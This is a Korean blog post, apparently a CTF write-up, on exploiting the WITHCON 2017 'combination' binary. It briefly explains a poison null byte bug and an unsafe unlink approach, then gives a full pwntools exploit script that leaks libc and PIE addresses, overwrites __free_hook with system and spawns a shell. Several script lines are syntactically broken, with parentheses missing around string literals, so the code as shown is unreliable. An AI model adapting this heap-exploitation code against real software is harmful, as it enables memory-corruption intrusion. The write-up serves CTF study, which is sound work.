ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • WITHCON 2017 combination
    Pwnable/CTF 2018. 1. 12. 02:33

    대회 당시 대회를 제대로 참여를 못했었다 ..
    modify부분에서 *(_BYTE *)(qword_202060[3 * (v2 - 1)] + i) = 0; <- 부분에서 poison null byte취약점이 생기는데 요즘 unlink문제도 잘 안 풀어봤으니 unlink로 풀어보자해서 unsafe unlink를 이용하여서 문제를 풀었다. 

    unlink를 하고 전역변수에 값을 넣어서 1번째 data를 가르키는 주소를 변조할려하면 1byte밖에 변조가 안된다 .. 

    2번째 ptr 3번째도 .. 4번째 부터는 전부다 입력이 된다. 그래서 그냥 첫 번째 주소 1byte를 4번째 ptr주소로 바꾸고 DATA를 FREE HOOK 으로 + 0x8 부분에 넣을 데이터 사이즈를 넣고 modify를 이용하여서 free hook을 덮어주었다.


    사실 위 처럼 귀찮게 안 하고 data를 많이 넣을수있기때문에 쭉 데이터를 넣어서 4번째 ptr에 값을 넣어서 해도된다.





    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    from pwn import *
     
    p=process("./combination")
     
    def malloc(size,data):
            p.sendlineafter('> ','1')
            p.sendlineafter(': ',str(size))
            p.sendlineafter(': ',data)
     
    def free(idx):
            p.sendlineafter('> ','2')
            p.sendlineafter(': ',str(idx))
     
    def view(idx):
            p.sendlineafter('> ','3')
            p.sendlineafter('? ',str(idx))
     
    def modify(idx,data):
            p.sendlineafter('> ','4')
            p.sendlineafter(': ',str(idx))
            p.sendlineafter(': ',data)
     
    def alloca(size,data):
            p.sendlineafter('> ','46')
            sleep(0.5)
            p.sendline(str(size))
            sleep(0.5)
            p.sendline(data)
     
     
    malloc(264,"AAAA"#1
    malloc(264,"B"*240+p64(0x100)+p64(0x21)) #2
    malloc(264,p64(0x20)+p64(0x21)) #3
    modify(1,"A"*256+p64(0x100)) #poison null byte
     
    alloca(40,"D"*8#4
    view(4)
    p.recvuntil('D'*8)
    puts = u64(p.recv(6)+"\x00\x00"- 362
    libc_base = puts - 0x6f690
    system = libc_base + 0x45390
    free_hook = libc_base + 0x3c67a8
    print hex(puts)
    print hex(libc_base)
    print hex(system)
    print hex(free_hook)
     
    alloca(8,'E'*8)
    view(5)
    p.recvuntil('E'*8)
    pie = u64(p.recv(6)+"\x00\x00"- 0xb11
    heap_ptr = pie + 0x202060
    print hex(pie)
    print hex(heap_ptr)
    sleep(0.5)
    modify(1,p64(0)+p64(0x101)+p64(heap_ptr-0x18)+p64(heap_ptr-0x10))
    free(2)
    modify(1,"F"*26+"\xa8")
    malloc(256,"/bin/sh\x00"#6
    modify(1,p64(free_hook)+p64(0x50))
    modify(4,p64(system))
    free(6)
    cs


    'Pwnable > CTF' 카테고리의 다른 글

    Codegate 2017 hunting  (0) 2018.01.17
    WITHCON 2017 bank  (0) 2018.01.15
    SECCON 2017 video_player  (0) 2018.01.11
    SECCON 2017 secure Keymanager, Election  (0) 2018.01.10
    Christmas CTF 2017 bookstore  (0) 2017.12.30
Designed by Tistory.